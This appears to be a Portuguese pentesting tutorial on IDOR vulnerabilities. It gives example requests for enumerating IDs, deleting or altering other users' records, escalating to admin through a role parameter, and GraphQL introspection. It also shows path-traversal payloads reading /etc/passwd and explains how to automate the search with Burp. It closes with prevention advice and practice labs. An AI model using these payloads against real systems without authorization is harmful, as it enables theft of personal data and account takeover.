IDOR — Insecure Direct Object Reference

O que é IDOR

Insecure Direct Object Reference ocorre quando um identificador exposto ao usuário (ID numérico, UUID, nome de arquivo, hash) referencia diretamente um recurso no servidor sem verificação de autorização. O atacante simplesmente troca o ID para acessar dados de outros usuários.

-- Exemplo clássico: URL de perfil
https://alvo.com/perfil?id=1337

-- Atacante muda para outro ID
https://alvo.com/perfil?id=1338  → dados de outro usuário
https://alvo.com/perfil?id=1     → dados do admin

Onde Encontrar IDORs

-- URLs e parâmetros GET
GET /api/invoice/2847
GET /download?file=relatorio_usuario_123.pdf
GET /user/profile?uid=5501

-- Parâmetros POST
POST /api/message/delete
{"message_id": 9912}

-- Headers
X-User-ID: 1234
X-Account-ID: 5678

-- Cookies
user_id=1234
account=premium_user_99

-- Parâmetros ocultos em formulários
<input type="hidden" name="user_id" value="5501">

-- APIs REST
GET  /api/v1/users/1337/orders
PUT  /api/v1/users/1337/password
DEL  /api/v1/users/1337

-- GraphQL
{user(id: "1337") {email, phone, address}}

Tipos de IDOR

IDOR Simples (ID Numérico)

-- Enumeração sequencial
GET /api/orders/1000
GET /api/orders/1001
GET /api/orders/1002
...

-- Usar Burp Intruder para automatizar
-- Payload: números sequenciais de 1000 a 9999
-- Filtrar por respostas com status 200 e body != "not found"

IDOR com UUID/Hash

-- UUIDs parecem seguros mas podem vazar em outros endpoints
-- Procurar UUID em:
-- E-mails de confirmação
-- Logs de acesso público
-- Outros endpoints da API
-- Fonte HTML de outras páginas
-- Notificações, webhooks, compartilhamentos

-- Exemplo: UUID vazado em endpoint de compartilhamento
GET /api/share/abc-123-def  → retorna dados do documento
-- O UUID aparece no link de compartilhamento enviado por e-mail
-- Atacante que recebeu qualquer link consegue listar outros documentos

IDOR em Ações (não só leitura)

-- Deleção de recursos alheios
DELETE /api/posts/9912  -- ID de post de outro usuário

-- Modificação de dados
PUT /api/user/profile
{"user_id": 1338, "email": "[email protected]"}

-- Escalação de privilégio via IDOR
POST /api/user/update-role
{"user_id": 1337, "role": "admin"}

-- Acesso a arquivos de outros usuários
GET /download/invoice_user_9912_2024.pdf

IDOR em Path Traversal

-- Combinação de IDOR + path traversal
GET /api/files/../../admin/config.php
GET /download?f=../../../etc/passwd

IDOR em APIs REST e GraphQL

-- REST: testar todos os verbos HTTP no mesmo endpoint
GET    /api/account/9912  → proibido (403)
POST   /api/account/9912  → funciona?
PUT    /api/account/9912  → funciona?
DELETE /api/account/9912  → funciona?
PATCH  /api/account/9912  → funciona?

-- GraphQL: introspection para descobrir todos os tipos
{__schema{types{name,fields{name}}}}

-- GraphQL IDOR
{
  user(id: "1338") {
    email
    phoneNumber
    creditCardLast4
    address
  }
}

IDOR Horizontal vs Vertical

-- Horizontal: acesso a dados de outro usuário com mesmo nível de privilégio
User A (id=1337) acessa dados do User B (id=1338)

-- Vertical: escalação de privilégio via IDOR
User (role=user) acessa endpoint de admin:
GET /api/admin/users  -- deveria exigir role=admin

-- Teste de escalação vertical:
-- 1. Logar como admin e documentar todos os endpoints
-- 2. Logar como user comum
-- 3. Testar cada endpoint de admin com token do user

Automatizando com Burp Suite

-- Técnica: comparar respostas de dois usuários
1. Criar duas contas: conta_A e conta_B
2. Logar como conta_A; fazer todas as ações; capturar requests no Burp
3. Usar extensão "Autorize" (Burp) para auto-testar cada request
   com o cookie da conta_B
4. Autorize marca em vermelho os endpoints que retornam dados
   de conta_A quando acessados com token de conta_B

-- Burp Intruder para enumeração
-- Marcar o ID como posição de payload
-- Payload: números, UUIDs coletados, hashes conhecidos
-- Filtrar por Content-Length ou status code diferente

Prevenção

• Verificação de Autorização no Servidor — SEMPRE validar que o usuário autenticado tem permissão para acessar o recurso específico solicitado, não apenas que está autenticado
• Referências Indiretas — mapear IDs internos para tokens temporários por sessão; o usuário nunca vê o ID real do banco
• UUIDs v4 Aleatórios — substituir IDs sequenciais por UUIDs aleatórios; não impede IDOR mas elimina enumeração trivial
• Ownership Check — toda query deve incluir filtro por owner: SELECT * FROM orders WHERE id=? AND user_id=?
• Testes de Autorização — incluir nos testes automatizados: tentar acessar recursos de outro usuário deve sempre retornar 403

CVEs e Bug Bounties

• IDORs são a categoria mais comum em bug bounties (HackerOne, Bugcrowd)
• Facebook pagou US$500 por IDOR que permitia ver fotos privadas de qualquer usuário
• Instagram: IDOR permitia deletar fotos de qualquer conta (2019)
• CVE-2023-20198 — Cisco IOS XE: IDOR combinado com auth bypass para criar admin (CVSS 10.0)

Labs para Praticar

• PortSwigger Web Academy — laboratórios de Access Control com IDOR
• HackTheBox — boxes com IDOR: Horizontall, Previse
• PentesterLab — exercícios específicos de IDOR em APIs REST
• OWASP WebGoat — módulo de Broken Access Control